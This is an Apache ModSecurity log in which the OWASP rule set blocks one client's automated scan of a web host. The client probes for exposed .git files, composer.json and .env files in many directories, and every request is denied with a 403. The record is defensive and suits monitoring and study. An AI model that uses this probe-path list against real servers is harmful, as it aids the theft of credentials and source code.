[Tue Oct 27 05:23:44.935321 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auBtoGBUeABT7S80KTVFkgAAABY"]
[Tue Oct 27 05:23:44.935475 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auBtoGBUeABT7S80KTVFkgAAABY"]
[Tue Oct 27 05:23:44.935685 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auBtoGBUeABT7S80KTVFkgAAABY"]
[Tue Oct 27 05:23:44.938890 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auBtoB6MTIKaGGLTiEIYxgAAAAc"]
[Tue Oct 27 05:23:44.939029 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auBtoB6MTIKaGGLTiEIYxgAAAAc"]
[Tue Oct 27 05:23:44.939264 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auBtoB6MTIKaGGLTiEIYxgAAAAc"]
[Tue Oct 27 05:23:44.940175 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auBtoJVvqGtwGAy54pYOXwAAAA0"]
[Tue Oct 27 05:23:44.940338 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auBtoJVvqGtwGAy54pYOXwAAAA0"]
[Tue Oct 27 05:23:44.940593 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auBtoJVvqGtwGAy54pYOXwAAAA0"]
[Tue Oct 27 05:23:45.015939 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auBtoZVvqGtwGAy54pYOYAAAAA0"]
[Tue Oct 27 05:23:45.016072 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auBtoZVvqGtwGAy54pYOYAAAAA0"]
[Tue Oct 27 05:23:45.016371 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auBtoZVvqGtwGAy54pYOYAAAAA0"]
[Tue Oct 27 05:23:45.024286 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBtofNweTK95FG6k466oQAAABQ"]
[Tue Oct 27 05:23:45.024575 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBtofNweTK95FG6k466oQAAABQ"]
[Tue Oct 27 05:23:45.025022 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBtofNweTK95FG6k466oQAAABQ"]
[Tue Oct 27 05:23:45.083844 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auBtoREnDOWBtFG5jRP6_gAAAAw"]
[Tue Oct 27 05:23:45.084008 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auBtoREnDOWBtFG5jRP6_gAAAAw"]
[Tue Oct 27 05:23:45.084270 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auBtoREnDOWBtFG5jRP6_gAAAAw"]
[Tue Oct 27 05:23:45.085468 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSSwAAAAI"]
[Tue Oct 27 05:23:45.085613 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSSwAAAAI"]
[Tue Oct 27 05:23:45.085851 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSSwAAAAI"]
[Tue Oct 27 05:23:45.113801 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auBtoUmqTSs7laY6jMTh7AAAABc"]
[Tue Oct 27 05:23:45.113927 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auBtoUmqTSs7laY6jMTh7AAAABc"]
[Tue Oct 27 05:23:45.114171 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auBtoUmqTSs7laY6jMTh7AAAABc"]
[Tue Oct 27 05:23:45.144563 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsAAAAAo"]
[Tue Oct 27 05:23:45.144765 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsAAAAAo"]
[Tue Oct 27 05:23:45.145060 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsAAAAAo"]
[Tue Oct 27 05:23:45.160089 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auBtoREnDOWBtFG5jRP6_wAAAAw"]
[Tue Oct 27 05:23:45.160327 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auBtoREnDOWBtFG5jRP6_wAAAAw"]
[Tue Oct 27 05:23:45.160615 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auBtoREnDOWBtFG5jRP6_wAAAAw"]
[Tue Oct 27 05:23:45.161463 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBtoeJWPhOgLfVxy6aSTAAAAAI"]
[Tue Oct 27 05:23:45.161557 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auBtoWBUeABT7S80KTVFlQAAABY"]
[Tue Oct 27 05:23:45.161648 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBtoeJWPhOgLfVxy6aSTAAAAAI"]
[Tue Oct 27 05:23:45.161734 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auBtoWBUeABT7S80KTVFlQAAABY"]
[Tue Oct 27 05:23:45.161900 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBtoeJWPhOgLfVxy6aSTAAAAAI"]
[Tue Oct 27 05:23:45.161973 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auBtoWBUeABT7S80KTVFlQAAABY"]
[Tue Oct 27 05:23:45.187823 2026] [proxy_fcgi:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:23:45.219978 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsQAAAAo"]
[Tue Oct 27 05:23:45.220159 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsQAAAAo"]
[Tue Oct 27 05:23:45.220439 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auBtoUQFomyjz0g-y4eOsQAAAAo"]
